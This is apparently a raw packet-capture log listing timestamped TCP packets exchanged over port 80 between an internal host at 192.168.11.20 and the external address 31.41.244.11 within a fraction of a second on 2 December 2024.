Dec 2, 2024 11:21:09.819518089 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.819525003 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.819566011 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.819608927 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.819653988 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.819662094 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.819700956 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.819744110 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.819787979 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.819796085 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.819833994 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.819881916 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.819881916 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.819978952 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.820023060 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.820053101 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.820137024 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.820142984 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.820182085 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.820286036 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.820292950 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.820331097 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.820374966 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.820461035 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.820467949 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.820506096 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.820529938 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.820609093 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.820621014 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.820709944 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.820739985 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.820770979 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.820802927 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.820872068 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.820904970 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.820935011 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.820945978 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.821036100 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.821089983 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.821137905 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.821168900 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.821180105 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.821285009 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.821377039 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.821438074 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.821485043 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.821521997 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.821547031 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.821568966 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.821593046 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.821621895 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.821655989 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.821731091 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.821791887 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.821822882 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.821832895 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.821885109 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.821928978 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.821937084 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.821975946 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.822017908 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.822052002 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.822127104 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.822160959 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.822165966 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.822259903 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.822273016 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.822324991 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.822355986 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.822385073 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.822415113 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.822479963 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.822504997 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.822551966 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.822582006 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.822626114 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.822689056 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.822767019 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.822889090 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.822918892 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.822964907 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.823008060 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.823026896 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.823072910 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.823116064 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.823131084 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.823131084 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.823229074 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.823273897 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.823326111 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.823416948 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.823416948 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.823503017 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.823549032 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.823632002 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.823663950 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.823734045 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.823765039 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.823781013 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.823865891 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.823910952 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.824001074 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.824014902 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.824104071 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.824150085 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.824194908 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.824228048 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.824233055 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.824306965 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.824306965 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.824353933 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.824359894 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.824455023 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.824498892 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.824647903 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.824665070 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.824696064 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.824740887 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.824785948 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.824794054 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.824846029 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.824875116 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.824963093 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.824970007 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.825028896 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.825110912 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.825172901 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.825196028 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.825243950 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.825262070 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.825304031 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.825335026 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.825378895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.825392008 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.825448036 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.825515985 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.825601101 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.825649023 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.825684071 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.825689077 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.825808048 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.825886965 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.825932026 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.825975895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.826020002 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.826030016 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.826030016 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.826073885 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.826122046 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.826128960 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.826225042 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.826231956 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.826272011 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.826304913 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.826334000 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.826376915 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.826406956 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.826435089 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.826555967 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.826622009 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.826667070 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.826711893 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.826757908 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.826762915 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.826802015 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.826812029 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.826888084 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.827124119 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.827169895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.827198982 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.827243090 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.827255011 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.827255011 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.827317953 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.827348948 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.827393055 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.827476978 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.827498913 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.827528000 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.827572107 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.827580929 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.827580929 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.827624083 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.827733040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.827764034 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.827809095 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.827824116 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.827872038 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.827902079 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.827975988 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.828020096 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.828020096 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.828088045 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.828149080 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.828221083 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.828239918 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.828269958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.828352928 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.828370094 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.828501940 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.828624010 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.828655958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.828700066 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.828743935 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.828810930 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.828859091 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.828866005 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.828866005 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.828927994 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.828947067 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.828975916 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.829024076 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.829029083 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.829080105 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.829097033 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.829127073 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.829170942 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.829201937 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.829201937 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.829240084 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.829276085 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.829319954 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.829427958 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.829503059 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.829513073 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.829550982 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.829636097 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.829646111 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.829699993 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.829730034 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.829773903 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.829818010 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.829848051 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.829880953 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.829931021 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.829967976 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.829981089 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.830107927 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.830140114 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.830163956 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.830202103 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.830245972 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.830275059 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.830292940 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.830337048 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.830398083 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.830471992 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.830506086 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.830511093 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.830562115 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.830631971 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.830723047 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.830779076 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.830809116 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.830852985 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.830895901 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.830916882 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.830943108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.831029892 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.831037045 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.831090927 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.831120968 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.831177950 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.831229925 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.831367016 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.831413031 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.831440926 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.831484079 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.831502914 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.831547022 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.831554890 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.831607103 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.831636906 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.831659079 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.831723928 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.831754923 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.831772089 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.831854105 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.831883907 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.831928015 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.831974983 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.831979990 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.832062006 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.832067966 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.832067966 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.832129955 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.832159042 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.832295895 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.832400084 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.832432032 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.832474947 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.832519054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.832547903 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.832596064 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.832602978 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.832602978 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.832643032 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.832674980 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.832715988 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.832809925 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.832809925 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.832860947 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.832906961 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.832937956 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.833029985 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.833129883 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.833175898 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.833204985 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.833249092 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.833271027 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.833350897 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.833365917 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.833401918 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.833422899 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.833479881 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.833524942 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.833554983 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.833563089 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.833616018 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.833650112 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.833678007 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.833709002 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.833777905 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.833812952 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.833858013 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.833888054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.833895922 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.833947897 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.833988905 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.834089994 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.834096909 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.834136009 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.834218979 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.834233046 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.834321022 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.834352970 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.834394932 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.834415913 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.834496975 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.834520102 CET	49753	80	192.168.11.20	31.41.244.11
